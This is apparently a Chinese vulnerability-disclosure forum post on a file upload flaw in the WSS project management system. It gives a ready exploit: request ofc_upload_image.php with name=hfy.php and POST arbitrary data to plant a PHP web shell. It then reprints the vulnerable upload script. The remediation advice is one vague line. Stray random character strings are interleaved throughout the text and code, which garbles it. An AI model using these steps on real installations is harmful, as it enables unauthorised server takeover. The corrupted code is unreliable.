WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
' S  M9 ~0 _! w  \% f 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
; B+ B& K( [, r. \5 @/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

; `9 b1 F/ K6 [, H1 V5 F4 k0 ZPost任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php


6 v) [8 h$ b7 A. F最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php

//
" z& j9 j4 v' ]// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
4 [. [' p4 k) E. l1 N1 x3 c//

/*
6 j% U6 x% F$ h& {3 G
print_r( $_GET );
print_r( $_POST );
1 [9 G  v; H3 o0 lprint_r( $_FILES );
+ W. Y! _5 q4 l
5 M# S+ b+ a2 U+ J5 D- vprint_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

& `% F* n  B/ _2 g*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';
3 a. i/ F: P- ]5 w  Q; w1 p: O
% ~# U$ @# H" c' y2 @if (!file_exists($default_path)) mkdir($default_path, 0777, true);

! ]( j; L5 r) a5 d: |// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
; J* ?. w- Z5 ~1 [$ `' p
- V2 h) M1 {/ Q* Iecho 'Saving your image to: '. $destination;
6 B6 Y" U# B" V# H% i5 K. _! s/ _// print_r( $_POST );
// print_r( $_SERVER );
/ c3 S8 A) I% c: J) k// echo $HTTP_RAW_POST_DATA;
" b5 a, ^  z# j  u: j" j
//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
5 b5 f' ^# E, a3 @// the raw bits into $HTTP_RAW_POST_DATA
//

; s; z: D8 L8 O* U7 w$jfh = fopen($destination, 'w') or die("can't open file");
( f8 ^( D3 v6 P: gfwrite($jfh, $HTTP_RAW_POST_DATA);
8 P! d% \7 t) l- X+ E4 Ufclose($jfh);

9 i8 Z) h5 i& f//
- ^* I6 e) N0 w& ]- O0 \// LOOK:
//
exit();
//
: j( ^# t: L( a. P% S9 Z// PHP5:
//
+ i0 z' G& n0 b! ^

' D* f, F. i! m1 q# X3 W: u" S6 ?// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
! f/ l  `* z; T1 G
0 ?) s- E3 R  i6 i1 N) A3 sif (!file_exists($default_path)) mkdir($default_path, 0777, true);
4 _7 B% a1 }) a8 ]) k0 [* ~
// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
$ L8 G3 @1 l+ R  ?" O% t1 j0 W1 {
0 p4 M5 b0 W% [2 P& ^* b  ]! d// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
8 H" |& b/ o4 v/ J* ^& M    echo "FILE UPLOAD FAILED";
: G5 l) r% \) h: _: ]2 j/ r0 t7 \) b}
$ S3 Q$ B8 B) w) p  a

?>
/ @4 M1 V% |+ |" t. }: Z* d
  M2 ~& B% |+ c


4 ~0 t, |" X9 K) `( J

修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞

& T9 s: [6 W# Q) B# q3 e0 D